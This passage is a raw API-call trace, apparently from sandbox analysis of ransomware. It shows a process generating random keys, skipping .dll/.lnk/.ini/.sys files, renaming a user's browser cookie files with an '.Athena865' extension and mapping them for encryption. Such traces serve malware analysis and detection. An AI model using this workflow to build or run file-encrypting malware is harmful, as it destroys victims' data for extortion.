dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0101.124] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.125] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.125] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.126] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@google[4].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@google[4].txt") returned="5p5nrgjn0js_halpmcxz@google[4].txt" [0101.126] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[4].txt") returned 34 [0101.126] lstrlenW (lpString="Athena865") returned 9 [0101.126] lstrcmpiW (lpString1="le[4].txt", lpString2="Athena865") returned 1 [0101.126] lstrlenW (lpString=".dll") returned 4 [0101.126] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[4].txt", lpString2=".dll") returned 1 [0101.126] lstrlenW (lpString=".lnk") returned 4 [0101.126] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[4].txt", lpString2=".lnk") returned 1 [0101.126] lstrlenW (lpString=".ini") returned 4 [0101.126] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[4].txt", lpString2=".ini") returned 1 [0101.126] lstrlenW (lpString=".sys") returned 4 [0101.126] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[4].txt", lpString2=".sys") returned 1 [0101.126] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[4].txt") returned 34 [0101.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.Athena865") returned 103 [0101.126] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.athena865"), dwFlags=0x1) returned 1 [0101.127] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.128] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=543) returned 1 [0101.128] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.129] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.129] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.129] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x520, lpName=0x0) returned 0x17c [0101.130] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x520) returned 0x100000 [0101.131] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.131] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.132] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.132] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@linkedin[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@linkedin[1].txt" [0101.132] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned 36 [0101.132] lstrlenW (lpString="Athena865") returned 9 [0101.132] lstrcmpiW (lpString1="in[1].txt", lpString2="Athena865") returned 1 [0101.132] lstrlenW (lpString=".dll") returned 4 [0101.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@linkedin[1].txt", lpString2=".dll") returned 1 [0101.132] lstrlenW (lpString=".lnk") returned 4 [0101.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@linkedin[1].txt", lpString2=".lnk") returned 1 [0101.132] lstrlenW (lpString=".ini") returned 4 [0101.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@linkedin[1].txt", lpString2=".ini") returned 1 [0101.132] lstrlenW (lpString=".sys") returned 4 [0101.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@linkedin[1].txt", lpString2=".sys") returned 1 [0101.132] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned 36 [0101.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.Athena865") returned 105 [0101.132] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.134] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.134] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=272) returned 1 [0101.134] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.135] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.135] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.135] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x17c [0101.137] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0101.138] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.138] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.139] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.139] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@m.exactag[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned="5p5nrgjn0js_halpmcxz@m.exactag[1].txt" [0101.139] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned 37 [0101.139] lstrlenW (lpString="Athena865") returned 9 [0101.139] lstrcmpiW (lpString1="ag[1].txt", lpString2="Athena865") returned -1 [0101.139] lstrlenW (lpString=".dll") returned 4 [0101.139] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", lpString2=".dll") returned 1 [0101.139] lstrlenW (lpString=".lnk") returned 4 [0101.139] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", lpString2=".lnk") returned 1 [0101.139] lstrlenW (lpString=".ini") returned 4 [0101.139] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", lpString2=".ini") returned 1 [0101.139] lstrlenW (lpString=".sys") returned 4 [0101.139] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", lpString2=".sys") returned 1 [0101.139] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned 37 [0101.139] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.Athena865") returned 106 [0101.139] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.141] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=118) returned 1 [0101.141] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.142] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.142] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.142] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0101.144] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0101.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.145] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.145] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.146] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@msn[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@msn[1].txt") returned="5p5nrgjn0js_halpmcxz@msn[1].txt" [0101.146] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@msn[1].txt") returned 31 [0101.146] lstrlenW (lpString="Athena865") returned 9 [0101.146] lstrcmpiW (lpString1="sn[1].txt", lpString2="Athena865") returned 1 [0101.146] lstrlenW (lpString=".dll") returned 4 [0101.146] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@msn[1].txt", lpString2=".dll") returned 1 [0101.146] lstrlenW (lpString=".lnk") returned 4 [0101.146] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@msn[1].txt", lpString2=".lnk") returned 1 [0101.146] lstrlenW (lpString=".ini") returned 4 [0101.146] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@msn[1].txt", lpString2=".ini") returned 1 [0101.146] lstrlenW (lpString=".sys") returned 4 [0101.146] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@msn[1].txt", lpString2=".sys") returned 1 [0101.146] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@msn[1].txt") returned 31 [0101.146] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.Athena865") returned 100 [0101.146] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.147] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.147] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=823) returned 1 [0101.148] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.148] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.148] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.149] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x17c [0101.150] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0101.151] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.151] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.151] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.152] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" [0101.152] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned 45 [0101.152] lstrlenW (lpString="Athena865") returned 9 [0101.152] lstrcmpiW (lpString1="ch[2].txt", lpString2="Athena865") returned 1 [0101.152] lstrlenW (lpString=".dll") returned 4 [0101.152] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", lpString2=".dll") returned 1 [0101.152] lstrlenW (lpString=".lnk") returned 4 [0101.152] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", lpString2=".lnk") returned 1 [0101.152] lstrlenW (lpString=".ini") returned 4 [0101.152] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", lpString2=".ini") returned 1 [0101.152] lstrlenW (lpString=".sys") returned 4 [0101.152] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", lpString2=".sys") returned 1 [0101.152] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned 45 [0101.152] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.Athena865") returned 114 [0101.152] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.156] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.157] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=206) returned 1 [0101.157] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.158] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.158] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.158] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0101.160] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0101.161] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.161] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.161] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.162] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" [0101.162] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned 44 [0101.162] lstrlenW (lpString="Athena865") returned 9 [0101.162] lstrcmpiW (lpString1="sp[1].txt", lpString2="Athena865") returned 1 [0101.162] lstrlenW (lpString=".dll") returned 4 [0101.162] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", lpString2=".dll") returned 1 [0101.162] lstrlenW (lpString=".lnk") returned 4 [0101.162] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", lpString2=".lnk") returned 1 [0101.162] lstrlenW (lpString=".ini") returned 4 [0101.162] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", lpString2=".ini") returned 1 [0101.162] lstrlenW (lpString=".sys") returned 4 [0101.162] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", lpString2=".sys") returned 1 [0101.162] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned 44 [0101.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.Athena865") returned 113 [0101.162] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.163] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.164] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108) returned 1 [0101.164] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.164] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.164] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.165] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0101.167] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0101.167] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.168] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.168] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.169] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@skadtec[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned="5p5nrgjn0js_halpmcxz@skadtec[1].txt" [0101.169] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned 35 [0101.169] lstrlenW (lpString="Athena865") returned 9 [0101.169] lstrcmpiW (lpString1="ec[1].txt", lpString2="Athena865") returned 1 [0101.169] lstrlenW (lpString=".dll") returned 4 [0101.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@skadtec[1].txt", lpString2=".dll") returned 1 [0101.169] lstrlenW (lpString=".lnk") returned 4 [0101.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@skadtec[1].txt", lpString2=".lnk") returned 1 [0101.169] lstrlenW (lpString=".ini") returned 4 [0101.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@skadtec[1].txt", lpString2=".ini") returned 1 [0101.169] lstrlenW (lpString=".sys") returned 4 [0101.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@skadtec[1].txt", lpString2=".sys") returned 1 [0101.169] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned 35 [0101.169] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.Athena865") returned 104 [0101.169] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.170] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.170] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=104) returned 1 [0101.170] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.171] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.171] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.172] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0101.173] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0101.174] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.175] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.175] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.176] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@track.adform[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned="5p5nrgjn0js_halpmcxz@track.adform[2].txt" [0101.176] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned 40 [0101.176] lstrlenW (lpString="Athena865") returned 9 [0101.176] lstrcmpiW (lpString1="rm[2].txt", lpString2="Athena865") returned 1 [0101.176] lstrlenW (lpString=".dll") returned 4 [0101.176] 